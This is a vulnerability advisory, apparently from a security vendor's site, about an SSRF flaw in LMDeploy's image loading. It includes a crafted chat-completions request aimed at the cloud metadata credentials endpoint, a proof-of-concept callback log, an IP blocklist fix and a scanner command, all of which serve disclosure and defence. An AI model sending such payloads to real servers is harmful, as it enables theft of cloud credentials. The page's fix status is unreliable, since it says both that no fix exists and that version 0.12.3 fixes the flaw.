CVE-2026-33626 is a high-severity (CVSS 7.5) Server-Side Request Forgery (SSRF) vulnerability in lmdeploy. EPSS puts its 30-day exploitation probability at 45.3% (99th percentile). No vendor fix is recorded yet; mitigation options are listed below.
LMDeploy Vulnerable to Server-Side Request Forgery (SSRF) via Vision-Language Image Loading
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33626.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-33626 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the 10–50% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
lmdeployReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.
Affected Versions
- Tested on: main branch (2026-02-04)
- Affected: All versions prior to 0.12.3
Vulnerable Code
File: lmdeploy/vl/utils.py (lines 64-67)
def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
# ...
if image_url.startswith('http'):
response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
# NO VALIDATION OF URL/IP BEFORE REQUEST
Also affected: encode_image_base64() function (lines 26-29)
Root Cause
- No validation of URLs before fetching
- No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
- Server binds to
0.0.0.0by default (api_server.py line 1393) - API keys disabled by default
Attack Scenario
- LMDeploy server deployed with vision-language model
- Attacker sends request to
/v1/chat/completionswith maliciousimage_url:
POST /v1/chat/completions
{
"model": "internlm-xcomposer2",
"messages": [{
"role": "user",
"content": [
{"type": "text", "text": "Describe this image"},
{"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
]
}]
}
- Server fetches URL without validation
- Attacker receives cloud credentials
Proof of Concept
Verified Exploitation Result
╔═══════════════════════════════════════════════════════════════════════╗
║ LMDeploy SSRF Vulnerability - Proof of Concept ║
╚═══════════════════════════════════════════════════════════════════════╝
[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...
======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
Time: 2026-02-04 16:10:57
Path: /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
Client: 127.0.0.1:51154
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================
✅ SSRF VULNERABILITY CONFIRMED!
Impact
- Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
- Internal Service Access: Reach services not exposed to internet
- Information Disclosure: Port scan internal networks
- Lateral Movement: Pivot point for further attacks
Recommended Fix
from urllib.parse import urlparse
import ipaddress
import socket
BLOCKED_NETWORKS = [
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('172.16.0.0/12'),
ipaddress.ip_network('192.168.0.0/16'),
ipaddress.ip_network('169.254.0.0/16'),
]
def is_safe_url(url: str) -> bool:
try:
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https'):
return False
ip = socket.gethostbyname(parsed.hostname)
ip_addr = ipaddress.ip_address(ip)
return not any(ip_addr in network for network in BLOCKED_NETWORKS)
except:
return False
Credit
This vulnerability was discovered as part of Orca Security's research.
Researcher: Igor Stepansky
Organization: Orca Security
Emails:
[email protected]
[email protected]
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | lmdeploy | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for lmdeploy, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of lmdeploy has shipped for CVE-2026-33626 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33626 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-33626. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
How to detect CVE-2026-33626
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id cve-2026-33626 -u https://target- Template
- LMDeploy - Server-Side Request Forgery
- Severity
- high
- Impact
- An unauthenticated attacker can force the LMDeploy server to make HTTP requests to arbitrary internal or external addresses, leading to cloud credential theft via metadata APIs, internal service enumeration, and information disclosure.
- Remediation
- Upgrade LMDeploy to version 0.12.3 or later where URL validation via _is_safe_url() blocks requests to non-globally-routable IP addresses.
Template by ProjectDiscovery nuclei-templates (theamanrawat), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is CVE-2026-33626 in your dependencies?
O3 Security finds CVE-2026-33626 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.